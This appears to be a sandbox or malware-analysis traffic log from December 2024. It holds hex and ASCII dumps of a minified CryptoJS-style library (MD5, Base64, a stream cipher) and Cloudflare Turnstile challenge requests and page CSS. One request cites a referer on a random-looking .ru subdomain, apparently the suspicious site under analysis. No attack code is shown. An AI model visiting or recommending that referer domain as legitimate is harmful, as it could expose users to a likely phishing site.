2024-12-29 15:59:08 UTC	1369	IN	Data Raw: 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 3b 61 2b 3d 6f Data Ascii: t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c;a+=o
2024-12-29 15:59:08 UTC	1369	IN	Data Raw: 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e 30 3f 31 3a 30 Data Ascii: =this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>0?1:0
2024-12-29 15:59:08 UTC	1369	IN	Data Raw: 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 5d 3e 3e 3e 31 Data Ascii: =0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0]>>>1
2024-12-29 15:59:08 UTC	1369	IN	Data Raw: 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 75 6e 63 74 69 Data Ascii: yteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:functi
2024-12-29 15:59:08 UTC	1369	IN	Data Raw: 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 Data Ascii: (64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTU
2024-12-29 15:59:08 UTC	1369	IN	Data Raw: 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 73 2e 5f 68 61 Data Ascii: (t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=this._ha
2024-12-29 15:59:08 UTC	1369	IN	Data Raw: 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 5b 35 30 5d 29 Data Ascii: (m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[50])

Timestamp	Bytes transferred	Direction	Data
2024-12-29 15:59:09 UTC	802	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/sghn1/0x4AAAAAAA3TEPXpcYeAkLPe/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://rjwc1sic.olistraket.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-29 15:59:09 UTC	1362	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 15:59:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26678 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2024-12-29 15:59:09 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 66 39 61 66 65 65 36 32 64 36 30 34 32 65 31 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8f9afee62d6042e1-EWRalt-svc: h3=":443"; ma=86400
2024-12-29 15:59:09 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2024-12-29 15:59:09 UTC	1369	IN	Data Raw: 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 Data Ascii: dding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiase
2024-12-29 15:59:09 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 Data Ascii: stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#
2024-12-29 15:59:09 UTC	1369	IN	Data Raw: 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 Data Ascii: e-dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dar
2024-12-29 15:59:09 UTC	1369	IN	Data Raw: 32 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 Data Ascii: 20}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-h
2024-12-29 15:59:09 UTC	1369	IN	Data Raw: 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 Data Ascii: ;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de1
2024-12-29 15:59:09 UTC	1369	IN	Data Raw: 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d Data Ascii: ay:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-com
2024-12-29 15:59:09 UTC	1369	IN	Data Raw: 69 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 Data Ascii: i{left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:fle
2024-12-29 15:59:09 UTC	1369	IN	Data Raw: 6f 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: olor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width

Timestamp	Bytes transferred	Direction	Data
2024-12-29 15:59:11 UTC	727	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8f9afee62d6042e1&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/sghn1/0x4AAAAAAA3TEPXpcYeAkLPe/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-29 15:59:11 UTC	331	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 15:59:11 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 115612 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8f9afef15ce30c80-EWR alt-svc: h3=":443"; ma=86400
